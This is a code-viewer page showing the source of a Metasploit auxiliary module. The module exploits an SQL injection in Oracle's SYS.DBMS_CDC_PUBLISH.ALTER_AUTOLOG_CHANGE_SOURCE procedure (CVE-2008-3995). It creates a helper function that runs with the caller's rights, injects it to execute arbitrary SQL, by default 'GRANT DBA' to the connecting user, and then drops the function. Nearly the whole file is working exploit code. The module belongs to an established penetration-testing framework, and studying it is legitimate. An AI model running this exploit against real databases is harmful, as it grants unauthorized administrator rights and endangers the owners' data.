Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',11'Description' => %q{12The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE13procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege14on the vulnerable package can exploit this vulnerability. By default, users granted15EXECUTE_CATALOG_ROLE have the required privilege.16Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.17Fixed with October 2008 CPU.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2008-3995' ],24[ 'OSVDB', '49320']25],26'DisclosureDate' => '2008-10-22'))2728register_options(29[30OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),31])32end3334def run35return if not check_dependencies3637name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)3839function = "40CREATE OR REPLACE FUNCTION #{name}41RETURN VARCHAR2 AUTHID CURRENT_USER42IS43PRAGMA AUTONOMOUS_TRANSACTION;44BEGIN45EXECUTE IMMEDIATE '#{datastore['SQL']}';46COMMIT;47RETURN NULL;48END;"4950package = "51BEGIN52SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');53END;54"5556clean = "DROP FUNCTION #{name}"5758begin59print_status("Sending function...")60prepare_exec(function)61rescue => e62return63end64print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...")65prepare_exec(package)6667print_status("Done! Removing function '#{name}'...")68prepare_exec(clean)69end70end717273